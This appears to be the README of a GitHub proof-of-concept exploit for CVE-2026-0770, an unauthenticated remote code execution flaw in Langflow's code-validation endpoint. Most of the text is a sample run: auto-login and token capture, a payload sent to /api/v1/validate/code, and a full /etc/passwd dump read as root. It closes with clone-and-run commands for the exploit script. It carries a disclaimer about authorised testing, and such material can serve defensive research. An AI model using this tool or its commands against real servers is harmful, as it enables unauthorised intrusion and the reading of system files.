ez4rd1x1/cve-2026-0770LangFlow RCE | CVE-2026-0770 | Proof-Of-Concept
exec_globals Unauthenticated Remote Code Execution (PoC)
CVE-2026-0770 an unauthenticated Remote Code Execution (RCE) vulnerability affecting Langflow.
The flaw stems from improper input validation within the handling of the exec_globals parameter provided to the /validate endpoint. By exploiting this, an attacker can pass untrusted global environments during validation routines, achieving remote code execution under the context of the root user.
WARNING: This tool is intended solely for authorized security testing, educational purposes, and defensive research. Do not run it against targets you do not own or do not have explicit, written permission to test. The author accepts no liability for misuse or damage caused by this script.
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Langflow RCE Exploit - CVE-2026-0770 - Zardy1x1
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Target : http://192.168.1.9:7860
Command: cat /etc/passwd
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[*] attempt login...
[+] auto-login successful!
[~] token acquired: eyJhbGciOiJIUzI1NiIs...
[*] target command: cat /etc/passwd
[~] payload contructed
[~] sending request to http://192.168.1.9:7860/api/v1/validate/code
[*] receive status code: 200
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COMMAND OUTPUT
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root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
user:x:1000:0::/app/data:/bin/sh
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:996:996:System Message Bus:/nonexistent:/usr/sbin/nologin
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Status Code : 200
Response Size: 1244 bytes
git clone https://github.com/Ez4rd1x1/CVE-2026-0770
cd CVE-2026-0770
python3 exp_v3.py -t http://target:port -c "cat /etc/passwd"